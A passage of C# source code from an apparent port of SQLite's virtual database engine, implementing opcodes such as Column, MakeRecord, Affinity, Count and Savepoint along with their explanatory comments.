P2 and\n          ** store the answer in register P3.\n          **\n          ** If either P1 or P2 is nonzero (true) then the result is 1 (true)\n          ** even if the other input is NULL.  A NULL and false or two NULLs\n          ** give a NULL output.\n          */\n          case OP_And:              /* same as TK_AND, in1, in2, out3 */\n          case OP_Or:\n            {             /* same as TK_OR, in1, in2, out3 */\n              int v1;    /* Left operand:  0==FALSE, 1==TRUE, 2==UNKNOWN or NULL */\n              int v2;    /* Right operand: 0==FALSE, 1==TRUE, 2==UNKNOWN or NULL */\n\n              if ( ( pIn1.flags & MEM_Null ) != 0 )\n              {\n                v1 = 2;\n              }\n              else\n              {\n                v1 = ( sqlite3VdbeIntValue( pIn1 ) != 0 ) ? 1 : 0;\n              }\n              if ( ( pIn2.flags & MEM_Null ) != 0 )\n              {\n                v2 = 2;\n              }\n              else\n              {\n                v2 = ( sqlite3VdbeIntValue( pIn2 ) != 0 ) ? 1 : 0;\n              }\n              if ( pOp.opcode == OP_And )\n              {\n                byte[] and_logic = new byte[] { 0, 0, 0, 0, 1, 2, 0, 2, 2 };\n                v1 = and_logic[v1 * 3 + v2];\n              }\n              else\n              {\n                byte[] or_logic = new byte[] { 0, 1, 2, 1, 1, 1, 2, 1, 2 };\n                v1 = or_logic[v1 * 3 + v2];\n              }\n              if ( v1 == 2 )\n              {\n                MemSetTypeFlag( pOut, MEM_Null );\n              }\n              else\n              {\n                pOut.u.i = v1;\n                MemSetTypeFlag( pOut, MEM_Int );\n              }\n              break;\n            }\n\n          /* Opcode: Not P1 P2 * * *\n          **\n          ** Interpret the value in register P1 as a boolean value.  Store the\n          ** boolean complement in register P2.  If the value in register P1 is\n          ** NULL, then a NULL is stored in P2.\n          */\n          case OP_Not:\n            {                /* same as TK_NOT, in1 */\n              pOut = p.aMem[pOp.p2];\n              if ( ( pIn1.flags & MEM_Null ) != 0 )\n              {\n                sqlite3VdbeMemSetNull( pOut );\n              }\n              else\n              {\n                sqlite3VdbeMemSetInt64( pOut, sqlite3VdbeIntValue( pIn1 ) == 0 ? 1 : 0 );\n              }\n              break;\n            }\n\n          /* Opcode: BitNot P1 P2 * * *\n          **\n          ** Interpret the content of register P1 as an integer.  Store the\n          ** ones-complement of the P1 value into register P2.  If P1 holds\n          ** a NULL then store a NULL in P2.\n          */\n          case OP_BitNot:\n            {             /* same as TK_BITNOT, in1 */\n              pOut = p.aMem[pOp.p2];\n              if ( ( pIn1.flags & MEM_Null ) != 0 )\n              {\n                sqlite3VdbeMemSetNull( pOut );\n              }\n              else\n              {\n                sqlite3VdbeMemSetInt64( pOut, ~sqlite3VdbeIntValue( pIn1 ) );\n              }\n              break;\n            }\n\n          /* Opcode: If P1 P2 P3 * *\n          **\n          ** Jump to P2 if the value in register P1 is true.  The value is\n          ** is considered true if it is numeric and non-zero.  If the value\n          ** in P1 is NULL then take the jump if P3 is true.\n          */\n          /* Opcode: IfNot P1 P2 P3 * *\n          **\n          ** Jump to P2 if the value in register P1 is False.  The value is\n          ** is considered true if it has a numeric value of zero.  If the value\n          ** in P1 is NULL then take the jump if P3 is true.\n          */\n          case OP_If:                 /* jump, in1 */\n          case OP_IfNot:\n            {            /* jump, in1 */\n              int c;\n              if ( ( pIn1.flags & MEM_Null ) != 0 )\n              {\n                c = pOp.p3;\n              }\n              else\n              {\n#if SQLITE_OMIT_FLOATING_POINT\nc = sqlite3VdbeIntValue(pIn1)!=0;\n#else\n                c = ( sqlite3VdbeRealValue( pIn1 ) != 0.0 ) ? 1 : 0;\n#endif\n                if ( pOp.opcode == OP_IfNot ) c = ( c == 0 ) ? 1 : 0;\n              }\n              if ( c != 0 )\n              {\n                pc = pOp.p2 - 1;\n              }\n              break;\n            }\n\n          /* Opcode: IsNull P1 P2 * * *\n          **\n          ** Jump to P2 if the value in register P1 is NULL.\n          */\n          case OP_IsNull:\n            {            /* same as TK_ISNULL, jump, in1 */\n              if ( ( pIn1.flags & MEM_Null ) != 0 )\n              {\n                pc = pOp.p2 - 1;\n              }\n              break;\n            }\n\n          /* Opcode: NotNull P1 P2 * * *\n          **\n          ** Jump to P2 if the value in register P1 is not NULL.\n          */\n          case OP_NotNull:\n            {            /* same as TK_NOTNULL, jump, in1 */\n              if ( ( pIn1.flags & MEM_Null ) == 0 )\n              {\n                pc = pOp.p2 - 1;\n              }\n              break;\n            }\n\n          /* Opcode: SetNumColumns * P2 * * *\n          **\n          ** This opcode sets the number of columns for the cursor opened by the\n          ** following instruction to P2.\n          **\n          ** An OP_SetNumColumns is only useful if it occurs immediately before\n          ** one of the following opcodes:\n          **\n          **     OpenRead\n          **     OpenWrite\n          **     OpenPseudo\n          **\n          ** If the OP_Column opcode is to be executed on a cursor, then\n          ** this opcode must be present immediately before the opcode that\n          ** opens the cursor.\n          */\n#if FALSE\ncase OP_SetNumColumns:\n{\nbreak;\n}\n#endif\n\n          /* Opcode: Column P1 P2 P3 P4 *\n**\n** Interpret the data that cursor P1 points to as a structure built using\n** the MakeRecord instruction.  (See the MakeRecord opcode for additional\n** information about the format of the data.)  Extract the P2-th column\n** from this record.  If there are less that (P2+1)\n** values in the record, extract a NULL.\n**\n** The value extracted is stored in register P3.\n**\n** If the column contains fewer than P2 fields, then extract a NULL.  Or,\n** if the P4 argument is a P4_MEM use the value of the P4 argument as\n** the result.\n*/\n          case OP_Column:\n            {\n              u32 payloadSize;   /* Number of bytes in the record */\n              i64 payloadSize64; /* Number of bytes in the record */\n              int p1;            /* P1 value of the opcode */\n              int p2;            /* column number to retrieve */\n              VdbeCursor pC;     /* The VDBE cursor */\n              byte[] zRec;       /* Pointer to complete record-data */\n              BtCursor pCrsr;    /* The BTree cursor */\n              u32[] aType;       /* aType[i] holds the numeric type of the i-th column */\n              u32[] aOffset;     /* aOffset[i] is offset to start of data for i-th column */\n              int nField;        /* number of fields in the record */\n              int len;           /* The length of the serialized data for the column */\n              int i;             /* Loop counter */\n              byte[] zData;      /* Part of the record being decoded */\n              Mem pDest;         /* Where to write the extracted value */\n              Mem sMem;          /* For storing the record being decoded */\n              int zIdx;          /* Index into header */\n              int zEndHdr;       /* Pointer to first byte after the header */\n              u32 offset;        /* Offset into the data */\n              u64 offset64;      /* 64-bit offset.  64 bits needed to catch overflow */\n              int szHdr;         /* Size of the header size field at start of record */\n              int avail;         /* Number of bytes of available data */\n\n\n              p1 = pOp.p1;\n              p2 = pOp.p2;\n              pC = null;\n\n              payloadSize = 0;\n              payloadSize64 = 0;\n              offset = 0;\n\n              sMem = new Mem();//  memset(&sMem, 0, sizeof(sMem));\n              Debug.Assert( p1 < p.nCursor );\n              Debug.Assert( pOp.p3 > 0 && pOp.p3 <= p.nMem );\n              pDest = p.aMem[pOp.p3];\n              MemSetTypeFlag( pDest, MEM_Null );\n              zRec = null;\n\n              /* This block sets the variable payloadSize to be the total number of\n              ** bytes in the record.\n              **\n              ** zRec is set to be the complete text of the record if it is available.\n              ** The complete record text is always available for pseudo-tables\n              ** If the record is stored in a cursor, the complete record text\n              ** might be available in the  pC.aRow cache.  Or it might not be.\n              ** If the data is unavailable,  zRec is set to NULL.\n              **\n              ** We also compute the number of columns in the record.  For cursors,\n              ** the number of columns is stored in the VdbeCursor.nField element.\n              */\n              pC = p.apCsr[p1];\n              Debug.Assert( pC != null );\n#if !SQLITE_OMIT_VIRTUALTABLE\nDebug.Assert( pC.pVtabCursor==0 );\n#endif\n              pCrsr = pC.pCursor;\n              if ( pCrsr != null )\n              {\n                /* The record is stored in a B-Tree */\n                rc = sqlite3VdbeCursorMoveto( pC );\n                if ( rc != 0 ) goto abort_due_to_error;\n                if ( pC.nullRow )\n                {\n                  payloadSize = 0;\n                }\n                else if ( ( pC.cacheStatus == p.cacheCtr ) && ( pC.aRow != -1 ) )\n                {\n                  payloadSize = pC.payloadSize;\n                  zRec = new byte[payloadSize];\n                  Buffer.BlockCopy( pCrsr.info.pCell, pC.aRow, zRec, 0, (int)payloadSize );\n                }\n                else if ( pC.isIndex )\n                {\n                  Debug.Assert( sqlite3BtreeCursorIsValid( pCrsr ) );\n                  rc=sqlite3BtreeKeySize( pCrsr, ref payloadSize64 );\n                  Debug.Assert( rc == SQLITE_OK );   /* True because of CursorMoveto() call above */\n                  /* sqlite3BtreeParseCellPtr() uses getVarint32() to extract the\n                  ** payload size, so it is impossible for payloadSize64 to be\n                  ** larger than 32 bits. */\n                  Debug.Assert( ( (u64)payloadSize64 & SQLITE_MAX_U32 ) == (u64)payloadSize64 );\n                  payloadSize = (u32)payloadSize64;\n                }\n                else\n                {\n                  Debug.Assert( sqlite3BtreeCursorIsValid( pCrsr ) );\n                  rc = sqlite3BtreeDataSize(pCrsr, ref payloadSize);\n                  Debug.Assert( rc == SQLITE_OK );   /* DataSize() cannot fail */\n                }\n              }\n              else if ( pC.pseudoTable )\n              {\n                /* The record is the sole entry of a pseudo-table */\n                payloadSize = (Pgno)pC.nData;\n                zRec = pC.pData;\n                pC.cacheStatus = CACHE_STALE;\n                Debug.Assert( payloadSize == 0 || zRec != null );\n              }\n              else\n              {\n                /* Consider the row to be NULL */\n                payloadSize = 0;\n              }\n\n              /* If payloadSize is 0, then just store a NULL */\n              if ( payloadSize == 0 )\n              {\n                Debug.Assert( ( pDest.flags & MEM_Null ) != 0 );\n                goto op_column_out;\n              }\n              Debug.Assert( db.aLimit[SQLITE_LIMIT_LENGTH] >= 0 );\n              if ( payloadSize > (u32)db.aLimit[SQLITE_LIMIT_LENGTH] )\n              {\n                goto too_big;\n              }\n\n              nField = pC.nField;\n              Debug.Assert( p2 < nField );\n\n              /* Read and parse the table header.  Store the results of the parse\n              ** into the record header cache fields of the cursor.\n              */\n              aType = pC.aType;\n              if ( pC.cacheStatus == p.cacheCtr )\n              {\n                aOffset = pC.aOffset;\n              }\n              else\n              {\n                Debug.Assert( aType != null );\n                avail = 0;\n                //pC.aOffset = aOffset = aType[nField];\n                aOffset = new u32[nField];\n                pC.aOffset = aOffset;\n                pC.payloadSize = payloadSize;\n                pC.cacheStatus = p.cacheCtr;\n\n                /* Figure out how many bytes are in the header */\n                if ( zRec != null )\n                {\n                  zData = zRec;\n                }\n                else\n                {\n                  if ( pC.isIndex )\n                  {\n                    zData = sqlite3BtreeKeyFetch( pCrsr, ref avail, ref pC.aRow );\n                  }\n                  else\n                  {\n                    zData = sqlite3BtreeDataFetch( pCrsr, ref avail, ref pC.aRow );\n                  }\n                  /* If KeyFetch()/DataFetch() managed to get the entire payload,\n** save the payload in the pC.aRow cache.  That will save us from\n** having to make additional calls to fetch the content portion of\n** the record.\n*/\n                  Debug.Assert( avail >= 0 );\n                  if ( payloadSize <= (u32)avail )\n                  {\n                    zRec = zData;\n                    //pC.aRow = zData;\n                  }\n                  else\n                  {\n                    pC.aRow = -1; //pC.aRow = null;\n                  }\n                }\n                /* The following Debug.Assert is true in all cases accept when\n                ** the database file has been corrupted externally.\n                **    Debug.Assert( zRec!=0 || avail>=payloadSize || avail>=9 ); */\n                szHdr = getVarint32( zData, ref  offset );\n\n                /* Make sure a corrupt database has not given us an oversize header.\n                ** Do this now to avoid an oversize memory allocation.\n                **\n                ** Type entries can be between 1 and 5 bytes each.  But 4 and 5 byte\n                ** types use so much data space that there can only be 4096 and 32 of\n                ** them, respectively.  So the maximum header length results from a\n                ** 3-byte type for each of the maximum of 32768 columns plus three\n                ** extra bytes for the header length itself.  32768*3 + 3 = 98307.\n                */\n                if ( offset > 98307 )\n                {\n#if SQLITE_DEBUG\n                  rc = SQLITE_CORRUPT_BKPT();\n#else\nrc = SQLITE_CORRUPT_BKPT;\n#endif\n                  goto op_column_out;\n                }\n\n                /* Compute in len the number of bytes of data we need to read in order\n                ** to get nField type values.  offset is an upper bound on this.  But\n                ** nField might be significantly less than the true number of columns\n                ** in the table, and in that case, 5*nField+3 might be smaller than offset.\n                ** We want to minimize len in order to limit the size of the memory\n                ** allocation, especially if a corrupt database file has caused offset\n                ** to be oversized. Offset is limited to 98307 above.  But 98307 might\n                ** still exceed Robson memory allocation limits on some configurations.\n                ** On systems that cannot tolerate large memory allocations, nField*5+3\n                ** will likely be much smaller since nField will likely be less than\n                ** 20 or so.  This insures that Robson memory allocation limits are\n                ** not exceeded even for corrupt database files.\n                */\n                len = nField * 5 + 3;\n                if ( len > (int)offset ) len = (int)offset;\n\n                /* The KeyFetch() or DataFetch() above are fast and will get the entire\n                ** record header in most cases.  But they will fail to get the complete\n                ** record header if the record header does not fit on a single page\n                ** in the B-Tree.  When that happens, use sqlite3VdbeMemFromBtree() to\n                ** acquire the complete header text.\n                */\n                if ( zRec == null && avail < len )\n                {\n                  sMem.db = null;\n                  sMem.flags = 0;\n                  rc = sqlite3VdbeMemFromBtree( pCrsr, 0, len, pC.isIndex, sMem );\n                  if ( rc != SQLITE_OK )\n                  {\n                    goto op_column_out;\n                  }\n                  zData = sMem.zBLOB;\n                }\n                zEndHdr = len;// zData[len];\n                zIdx = szHdr;// zData[szHdr];\n\n                /* Scan the header and use it to fill in the aType[] and aOffset[]\n                ** arrays.  aType[i] will contain the type integer for the i-th\n                ** column and aOffset[i] will contain the offset from the beginning\n                ** of the record to the start of the data for the i-th column\n                */\n                offset64 = offset;\n                for ( i = 0 ; i < nField ; i++ )\n                {\n                  if ( zIdx < zEndHdr )\n                  {\n                    aOffset[i] = (u32)offset64;\n                    zIdx += getVarint32( zData, zIdx, ref aType[i] );//getVarint32(zIdx, aType[i]);\n                    offset64 += sqlite3VdbeSerialTypeLen( aType[i] );\n                  }\n                  else\n                  {\n                    /* If i is less that nField, then there are less fields in this\n                    ** record than SetNumColumns indicated there are columns in the\n                    ** table. Set the offset for any extra columns not present in\n                    ** the record to 0. This tells code below to store a NULL\n                    ** instead of deserializing a value from the record.\n                    */\n                    aOffset[i] = 0;\n                  }\n                }\n                sqlite3VdbeMemRelease( sMem );\n                sMem.flags = MEM_Null;\n\n                /* If we have read more header data than was contained in the header,\n                ** or if the end of the last field appears to be past the end of the\n                ** record, or if the end of the last field appears to be before the end\n                ** of the record (when all fields present), then we must be dealing\n                ** with a corrupt database.\n                */\n                if ( zIdx > zEndHdr || offset64 > payloadSize\n                || ( zIdx == zEndHdr && offset64 != (u64)payloadSize ) )\n                {\n#if SQLITE_DEBUG\n                  rc = SQLITE_CORRUPT_BKPT();\n#else\nrc = SQLITE_CORRUPT_BKPT;\n#endif\n                  goto op_column_out;\n                }\n              }\n\n              /* Get the column information. If aOffset[p2] is non-zero, then\n              ** deserialize the value from the record. If aOffset[p2] is zero,\n              ** then there are not enough fields in the record to satisfy the\n              ** request.  In this case, set the value NULL or to P4 if P4 is\n              ** a pointer to a Mem object.\n              */\n              if ( aOffset[p2] != 0 )\n              {\n                Debug.Assert( rc == SQLITE_OK );\n                if ( zRec != null )\n                {\n                  sqlite3VdbeMemReleaseExternal( pDest );\n                  sqlite3VdbeSerialGet( zRec, (int)aOffset[p2], aType[p2], pDest );\n                }\n                else\n                {\n                  len = (int)sqlite3VdbeSerialTypeLen( aType[p2] );\n                  sqlite3VdbeMemMove( sMem, pDest );\n                  rc = sqlite3VdbeMemFromBtree( pCrsr, (int)aOffset[p2], len, pC.isIndex, sMem );\n                  if ( rc != SQLITE_OK )\n                  {\n                    goto op_column_out;\n                  }\n                  zData = (byte[])sMem.zBLOB.Clone();\n                  sqlite3VdbeSerialGet( zData, aType[p2], pDest );\n                }\n                pDest.enc = encoding;\n              }\n              else\n              {\n                if ( pOp.p4type == P4_MEM )\n                {\n                  sqlite3VdbeMemShallowCopy( pDest, pOp.p4.pMem, MEM_Static );\n                }\n                else\n                {\n                  Debug.Assert( ( pDest.flags & MEM_Null ) != 0 );\n                }\n              }\n\n              /* If we dynamically allocated space to hold the data (in the\n              ** sqlite3VdbeMemFromBtree() call above) then transfer control of that\n              ** dynamically allocated space over to the pDest structure.\n              ** This prevents a memory copy.\n              */\n              //if ( sMem.zMalloc != null )\n              //{\n              //  //Debug.Assert( sMem.z == sMem.zMalloc);\n              //  Debug.Assert( sMem.xDel == null );\n              //  Debug.Assert( ( pDest.flags & MEM_Dyn ) == 0 );\n              //  Debug.Assert( ( pDest.flags & ( MEM_Blob | MEM_Str ) ) == 0 || pDest.z == sMem.z );\n              //  pDest.flags &= ~( MEM_Ephem | MEM_Static );\n              //  pDest.flags |= MEM_Term;\n              //  pDest.z = sMem.z;\n              //  pDest.zMalloc = sMem.zMalloc;\n              //}\n\n              rc = sqlite3VdbeMemMakeWriteable( pDest );\n\nop_column_out:\n#if SQLITE_TEST\n              UPDATE_MAX_BLOBSIZE( pDest );\n#endif\n#if SQLITE_DEBUG\n              REGISTER_TRACE( p, pOp.p3, pDest );\n#endif\n              break;\n            }\n\n          /* Opcode: Affinity P1 P2 * P4 *\n          **\n          ** Apply affinities to a range of P2 registers starting with P1.\n          **\n          ** P4 is a string that is P2 characters long. The nth character of the\n          ** string indicates the column affinity that should be used for the nth\n          ** memory cell in the range.\n          */\n          case OP_Affinity:\n            {\n              string zAffinity;   /* The affinity to be applied */\n              //Mem pData0;       /* First register to which to apply affinity */\n              //Mem pLast;        /* Last register to which to apply affinity */\n              Mem pRec;           /* Current register */\n\n              zAffinity = pOp.p4.z;\n              //pData0 = &p->aMem[pOp->p1];\n              //pLast = &pData0[pOp->p2 - 1];\n              //for ( pRec = pData0 ; pRec <= pLast ; pRec++ )\n              for ( int pD0 = pOp.p1 ; pD0 <= pOp.p1 + pOp.p2 - 1 ; pD0++ )\n              {\n                pRec = p.aMem[pD0];\n                ExpandBlob( pRec );\n                applyAffinity( pRec, (char)zAffinity[pD0 - pOp.p1], encoding );\n              }\n              break;\n            }\n\n          /* Opcode: MakeRecord P1 P2 P3 P4 *\n          **\n          ** Convert P2 registers beginning with P1 into a single entry\n          ** suitable for use as a data record in a database table or as a key\n          ** in an index.  The details of the format are irrelevant as long as\n          ** the OP_Column opcode can decode the record later.\n          ** Refer to source code comments for the details of the record\n          ** format.\n          **\n          ** P4 may be a string that is P2 characters long.  The nth character of the\n          ** string indicates the column affinity that should be used for the nth\n          ** field of the index key.\n          **\n          ** The mapping from character to affinity is given by the SQLITE_AFF_\n          ** macros defined in sqliteInt.h.\n          **\n          ** If P4 is NULL then all index fields have the affinity NONE.\n          */\n          case OP_MakeRecord:\n            {\n              byte[] zNewRecord;     /* A buffer to hold the data for the new record */\n              Mem pRec;              /* The new record */\n              u64 nData;             /* Number of bytes of data space */\n              int nHdr;              /* Number of bytes of header space */\n              i64 nByte;             /* Data space required for this record */\n              int nZero;             /* Number of zero bytes at the end of the record */\n              int nVarint;           /* Number of bytes in a varint */\n              u32 serial_type;       /* Type field */\n              //Mem pData0;            /* First field to be combined into the record */\n              //Mem pLast;             /* Last field of the record */\n              int nField;            /* Number of fields in the record */\n              string zAffinity;      /* The affinity string for the record */\n              int file_format;       /* File format to use for encoding */\n              int i;                 /* Space used in zNewRecord[] */\n              int len;               /* Length of a field */\n              /* Assuming the record contains N fields, the record format looks\n              ** like this:\n              **\n              ** ------------------------------------------------------------------------\n              ** | hdr-size | type 0 | type 1 | ... | type N-1 | data0 | ... | data N-1 |\n              ** ------------------------------------------------------------------------\n              **\n              ** Data(0) is taken from register P1.  Data(1) comes from register P1+1\n              ** and so froth.\n              **\n              ** Each type field is a varint representing the serial type of the\n              ** corresponding data element (see sqlite3VdbeSerialType()). The\n              ** hdr-size field is also a varint which is the offset from the beginning\n              ** of the record to data0.\n              */\n\n              nData = 0;         /* Number of bytes of data space */\n              nHdr = 0;          /* Number of bytes of header space */\n              nByte = 0;         /* Data space required for this record */\n              nZero = 0;         /* Number of zero bytes at the end of the record */\n              nField = pOp.p1;\n              zAffinity = ( pOp.p4.z == null || pOp.p4.z.Length == 0 ) ? \"\" : pOp.p4.z;\n              Debug.Assert( nField > 0 && pOp.p2 > 0 && pOp.p2 + nField <= p.nMem + 1 );\n              //pData0 = p.aMem[nField];\n              nField = pOp.p2;\n              //pLast =  pData0[nField - 1];\n              file_format = p.minWriteFileFormat;\n\n              /* Loop through the elements that will make up the record to figure\n              ** out how much space is required for the new record.\n              */\n              //for (pRec = pData0; pRec <= pLast; pRec++)\n              for ( int pD0 = 0 ; pD0 < nField ; pD0++ )\n              {\n                pRec = p.aMem[pOp.p1 + pD0];\n                if ( pD0 < zAffinity.Length && zAffinity[pD0] != '\\0' )\n                {\n                  applyAffinity( pRec, (char)zAffinity[pD0], encoding );\n                }\n                if ( ( pRec.flags & MEM_Zero ) != 0 && pRec.n > 0 )\n                {\n                  sqlite3VdbeMemExpandBlob( pRec );\n                }\n                serial_type = sqlite3VdbeSerialType( pRec, file_format );\n                len = (int)sqlite3VdbeSerialTypeLen( serial_type );\n                nData += (u64)len;\n                nHdr += sqlite3VarintLen( serial_type );\n                if ( ( pRec.flags & MEM_Zero ) != 0 )\n                {\n                  /* Only pure zero-filled BLOBs can be input to this Opcode.\n                  ** We do not allow blobs with a prefix and a zero-filled tail. */\n                  nZero += pRec.u.nZero;\n                }\n                else if ( len != 0 )\n                {\n                  nZero = 0;\n                }\n              }\n\n              /* Add the initial header varint and total the size */\n              nHdr += nVarint = sqlite3VarintLen( (u64)nHdr );\n              if ( nVarint < sqlite3VarintLen( (u64)nHdr ) )\n              {\n                nHdr++;\n              }\n              nByte = (i64)( (u64)nHdr + nData - (u64)nZero );\n              if ( nByte > db.aLimit[SQLITE_LIMIT_LENGTH] )\n              {\n                goto too_big;\n              }\n\n              /* Make sure the output register has a buffer large enough to store\n              ** the new record. The output register (pOp.p3) is not allowed to\n              ** be one of the input registers (because the following call to\n              ** sqlite3VdbeMemGrow() could clobber the value before it is used).\n              */\n              Debug.Assert( pOp.p3 < pOp.p1 || pOp.p3 >= pOp.p1 + pOp.p2 );\n              pOut = p.aMem[pOp.p3];\n              //if ( sqlite3VdbeMemGrow( pOut, (int)nByte, 0 ) != 0 )\n              //{\n              //  goto no_mem;\n              //}\n              zNewRecord = new byte[nByte];// (u8 *)pOut.z;\n\n              /* Write the record */\n              i = putVarint32( zNewRecord, nHdr );\n              for ( int pD0 = 0 ; pD0 < nField ; pD0++ )//for (pRec = pData0; pRec <= pLast; pRec++)\n              {\n                pRec = p.aMem[pOp.p1 + pD0];\n                serial_type = sqlite3VdbeSerialType( pRec, file_format );\n                i += putVarint32( zNewRecord, i, (int)serial_type );      /* serial type */\n              }\n              for ( int pD0 = 0 ; pD0 < nField ; pD0++ )//for (pRec = pData0; pRec <= pLast; pRec++)\n              {  /* serial data */\n                pRec = p.aMem[pOp.p1 + pD0];\n                i += (int)sqlite3VdbeSerialPut( zNewRecord, i, (int)nByte - i, pRec, file_format );\n              }\n              Debug.Assert( i == nByte );\n\n              Debug.Assert( pOp.p3 > 0 && pOp.p3 <= p.nMem );\n              pOut.zBLOB = (byte[])zNewRecord.Clone();\n              pOut.z = null;\n              pOut.n = (int)nByte;\n              pOut.flags = MEM_Blob | MEM_Dyn;\n              pOut.xDel = null;\n              if ( nZero != 0 )\n              {\n                pOut.u.nZero = nZero;\n                pOut.flags |= MEM_Zero;\n              }\n              pOut.enc = SQLITE_UTF8;  /* In case the blob is ever converted to text */\n#if SQLITE_DEBUG\n              REGISTER_TRACE( p, pOp.p3, pOut );\n#endif\n#if SQLITE_TEST\n              UPDATE_MAX_BLOBSIZE( pOut );\n#endif\n              break;\n            }\n\n          /* Opcode: Count P1 P2 * * *\n          **\n          ** Store the number of entries (an integer value) in the table or index\n          ** opened by cursor P1 in register P2\n          */\n#if !SQLITE_OMIT_BTREECOUNT\n          case OP_Count:\n            {         /* out2-prerelease */\n              i64 nEntry = 0;\n              BtCursor pCrsr;\n              pCrsr = p.apCsr[pOp.p1].pCursor;\n              if ( pCrsr != null )\n              {\n                rc = sqlite3BtreeCount( pCrsr, ref nEntry );\n              }\n              else\n              {\n                nEntry = 0;\n              }\n              pOut.flags = MEM_Int;\n              pOut.u.i = nEntry;\n              break;\n            }\n#endif\n\n          /* Opcode: Statement P1 * * * *\n**\n** Begin an individual statement transaction which is part of a larger\n** transaction.  This is needed so that the statement\n** can be rolled back after an error without having to roll back the\n** entire transaction.  The statement transaction will automatically\n** commit when the VDBE halts.\n**\n** If the database connection is currently in autocommit mode (that\n** is to say, if it is in between BEGIN and COMMIT)\n** and if there are no other active statements on the same database\n** connection, then this operation is a no-op.  No statement transaction\n** is needed since any error can use the normal ROLLBACK process to\n** undo changes.\n**\n** If a statement transaction is started, then a statement journal file\n** will be allocated and initialized.\n**\n** The statement is begun on the database file with index P1.  The main\n** database file has an index of 0 and the file used for temporary tables\n** has an index of 1.\n*/\n          case OP_Statement:\n            {\n              Btree pBt;\n              if ( db.autoCommit == 0 || db.activeVdbeCnt > 1 )\n              {\n                Debug.Assert( pOp.p1 >= 0 && pOp.p1 < db.nDb );\n                Debug.Assert( db.aDb[pOp.p1].pBt != null );\n                pBt = db.aDb[pOp.p1].pBt;\n                Debug.Assert( sqlite3BtreeIsInTrans( pBt ) );\n                Debug.Assert( ( p.btreeMask & ( 1 << pOp.p1 ) ) != 0 );\n                if ( p.iStatement == 0 )\n                {\n                  Debug.Assert( db.nStatement >= 0 && db.nSavepoint >= 0 );\n                  db.nStatement++;\n                  p.iStatement = db.nSavepoint + db.nStatement;\n                }\n                rc = sqlite3BtreeBeginStmt( pBt, p.iStatement );\n              }\n              break;\n            }\n\n          /* Opcode: Savepoint P1 * * P4 *\n          **\n          ** Open, release or rollback the savepoint named by parameter P4, depending\n          ** on the value of P1. To open a new savepoint, P1==0. To release (commit) an\n          ** existing savepoint, P1==1, or to rollback an existing savepoint P1==2.\n          */\n          case OP_Savepoint:\n            {\n              int p1;                         /* Value of P1 operand */\n              string zName;                   /* Name of savepoint */\n              int nName;\n              Savepoint pNew;\n              Savepoint pSavepoint;\n              Savepoint pTmp;\n              int iSavepoint;\n              int ii;\n\n              p1 = pOp.p1;\n              zName = pOp.p4.z;\n\n              /* Assert that the p1 parameter is valid. Also that if there is no open\n              ** transaction, then there cannot be any savepoints.\n              */\n              Debug.Assert( db.pSavepoint == null || db.autoCommit == 0 );\n              Debug.Assert( p1 == SAVEPOINT_BEGIN || p1 == SAVEPOINT_RELEASE || p1 == SAVEPOINT_ROLLBACK );\n              Debug.Assert( db.pSavepoint != null || db.isTransactionSavepoint == 0 );\n              Debug.Assert( checkSavepointCount( db ) != 0 );\n\n              if ( p1 == SAVEPOINT_BEGIN )\n              {\n                if ( db.writeVdbeCnt > 0 )\n                {\n                  /* A new savepoint cannot be created if there are active write\n                  ** statements (i.e. open read/write incremental blob handles).\n                  */\n                  sqlite3SetString( ref p.zErrMsg, db, \"cannot open savepoint - \",\n                  \"SQL statements in progress\" );\n                  rc = SQLITE_BUSY;\n                }\n                else\n                {\n                  nName = sqlite3Strlen30( zName );\n\n                  /* Create a new savepoint structure. */\n                  pNew = new Savepoint();// sqlite3DbMallocRaw( db, sizeof( Savepoint ) + nName + 1 );\n                  if ( pNew != null )\n                  {\n                    //pNew.zName = (char *)&pNew[1];\n                    //memcpy(pNew.zName, zName, nName+1);\n                    pNew.zName = zName;\n\n                    /* If there is no open transaction, then mark this as a special\n                    ** \"transaction savepoint\". */\n                    if ( db.autoCommit != 0 )\n                    {\n                      db.autoCommit = 0;\n                      db.isTransactionSavepoint = 1;\n                    }\n                    else\n                    {\n                      db.nSavepoint++;\n                    }\n\n                    /* Link the new savepoint into the database handle's list. */\n                    pNew.pNext = db.pSavepoint;\n                    db.pSavepoint = pNew;\n                  }\n                }\n              }\n              else\n              {\n                iSavepoint = 0;\n\n                /* Find the named savepoint. If there is no such savepoint, then an\n                ** an error is returned to the user.  */\n                for (\n                pSavepoint = db.pSavepoint ;\n                pSavepoint != null && sqlite3StrICmp( pSavepoint.zName, zName ) != 0 ;\n                pSavepoint = pSavepoint.pNext\n                )\n                {\n                  iSavepoint++;\n                }\n                if ( null == pSavepoint )\n                {\n                  sqlite3SetString( ref p.zErrMsg, db, \"no such savepoint: %s\", zName );\n                  rc = SQLITE_ERROR;\n                }\n                else if (\n                db.writeVdbeCnt > 0 || ( p1 == SAVEPOINT_ROLLBACK && db.activeVdbeCnt > 1 )\n                )\n                {\n                  /* It is not possible to release (commit) a savepoint if there are\n                  ** active write statements. It is not possible to rollback a savepoint\n                  ** if there are any active statements at all.\n                  */\n                  sqlite3SetString( ref p.zErrMsg, db,\n                  \"cannot %s savepoint - SQL statements in progress\",\n                  ( p1 == SAVEPOINT_ROLLBACK ? \"rollback\" : \"release\" )\n                  );\n                  rc = SQLITE_BUSY;\n                }\n                else\n                {\n\n                  /* Determine whether or not this is a transaction savepoint. If so,\n                  ** and this is a RELEASE command, then the current transaction\n                  ** is committed.\n                  */\n                  int isTransaction = ( pSavepoint.pNext == null && db.isTransactionSavepoint != 0 ) ? 1 : 0;\n                  if ( isTransaction != 0 && p1 == SAVEPOINT_RELEASE )\n                  {\n                    db.autoCommit = 1;\n                    if ( sqlite3VdbeHalt( p ) == SQLITE_BUSY )\n                    {\n                      p.pc = pc;\n                      db.autoCommit = 0;\n                      p.rc = rc = SQLITE_BUSY;\n                      goto vdbe_return;\n                    }\n                    db.isTransactionSavepoint = 0;\n                    rc = p.rc;\n                  }\n                  else\n                  {\n                    iSavepoint = db.nSavepoint - iSavepoint - 1;\n                    for ( ii = 0 ; ii < db.nDb ; ii++ )\n                    {\n                      rc = sqlite3BtreeSavepoint( db.aDb[ii].pBt, p1, iSavepoint );\n                      if ( rc != SQLITE_OK )\n                      {\n                        goto abort_due_to_error;\n                      }\n                    }\n                    if ( p1 == SAVEPOINT_ROLLBACK && ( db.flags & SQLITE_InternChanges ) != 0 )\n                    {\n                      sqlite3ExpirePreparedStatements( db );\n                      sqlite3ResetInternalSchema( db, 0 );\n                    }\n                  }\n\n                  /* Regardless of whether this is a RELEASE or ROLLBACK, destroy all\n                  ** savepoints nested 